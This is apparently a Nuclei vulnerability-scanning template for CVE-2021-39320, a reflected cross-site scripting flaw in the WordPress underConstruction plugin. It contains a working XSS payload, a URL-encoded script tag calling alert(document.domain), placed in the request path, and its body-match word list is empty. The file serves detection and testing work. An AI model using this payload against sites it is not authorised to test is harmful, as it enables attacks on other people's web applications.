id: CVE-2021-39320 info: name: WordPress underConstruction Plugin< 1.19 - Reflected Cross-Site Scripting author: dhiyaneshDK severity: medium description: The underConstruction plugin <= 1.18 for WordPress echoes out the raw value of `$GLOBALS['PHP_SELF']` in the ucOptions.php file. On certain configurations including Apache+modPHP, this makes it possible to use it to perform a reflected cross-site scripting attack by injecting malicious code in the request path. reference: - https://wpscan.com/vulnerability/49ae1df0-d6d2-4cbb-9a9d-bf3599429875 - https://nvd.nist.gov/vuln/detail/CVE-2021-39320 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-39320 cwe-id: CWE-79 tags: wordpress,xss,cve,cve2021,wp-plugin requests: - method: GET path: - '{{BaseURL}}/wp-admin/admin.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E/?page=under-construction' matchers-condition: and matchers: - type: word part: body words: - '' - type: word part: header words: - "text/html" - type: status status: - 200 # Enhanced by mp on 2022/03/23